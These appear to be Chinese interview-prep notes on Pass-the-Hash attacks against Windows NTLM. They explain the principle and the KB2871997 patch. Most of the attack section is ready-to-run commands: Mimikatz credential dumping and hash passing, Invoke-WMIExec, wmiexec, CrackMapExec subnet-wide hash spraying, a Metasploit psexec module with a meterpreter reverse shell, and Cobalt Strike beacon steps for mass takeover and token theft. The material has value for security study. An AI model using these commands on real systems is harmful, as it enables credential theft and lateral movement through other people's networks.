面试会提及

Pass The Hash攻击

攻击前提

  1. 目标用户名
  2. NTLM加密的密码
  3. 开启445端口(smb服务)

原理

  1. 在windows系统中,通常会使用NTLM身份验证
  2. NTLM验证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成
  3. hash分为LM Hash和NT hash,如果密码长度大于15,那么无法生成LM Hash,从windows Vista和windows Server 2008开始,微软默认禁用LM Hash
  4. 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

无论是kerberos还是ntlm挑战/响应验证机制
windows是不会记录明文密码的,所以只需要获取到目标的NTLM Hash值和用户名,就可以成功登录
而且在域环境下大量计算机在安装的时候会使用相同的本地管理员账号和密码
因此计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录其他内网主机

攻击

  1. Minikatz ```powershell privilege::debug sekurlsa::logonpasswords

sekurlsa::pth /user:administator /domain:目标机器IP /ntlm:获取到的Hash

net use \192.168.3.21\c$

  1. 2. wmiexe
  2. - Invoke-TheHash
  3. ```powershell
  4. Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash 获取到的Hash -Command "calc.exe" -verbose
  • invoke-SMBExec/invoke-SMBClient脚本
  • wmiexec.py

    1. wmiexec -hashes 000...0000:Hash workgroup/administrator@192.168.3.21 "whoami"
  • CrackMapExec

    可以对C段中的主机进行批量pth

  1. crackmapexec 192.168.3.0/24 -u administrator -H 哈希值
  • msf

    1. use exploit/windows/smb/psexec
    2. set payload windows/meterpreter/reverse_tcp
    3. set rhost ip
    4. set SMBuser user
    5. set SMBpass NTLM Hash
    6. run
  • cobaltstrike

    1. portscan
    2. view->targets

    image.png

批量上线
image.png

  1. 右键psexec
  2. beacon> mimikatz sekurlsa::pth /user:administrator /domain:ggyao /ntlm:b4e535a9bb56bcc084602062c9e2a9d4 /run:"cmd -w hidden"
  3. beacon> steal_token 392
  4. beacon> shell dir \\192.168.3.123\c$

补丁KB2871997

将使本地账号不再可以用于远程接入系统,不管是network logon还是interactive login。
其后果就是:无法通过本地管理员权限对远程计算机使用Psexec,WMI,smbexec,IPC等等,也无法访问远程主机的文件共享
无法进行PTH攻击,但administrator(sid=500)的账号例外,使用该账号的散列值依然可以进行哈希传递攻击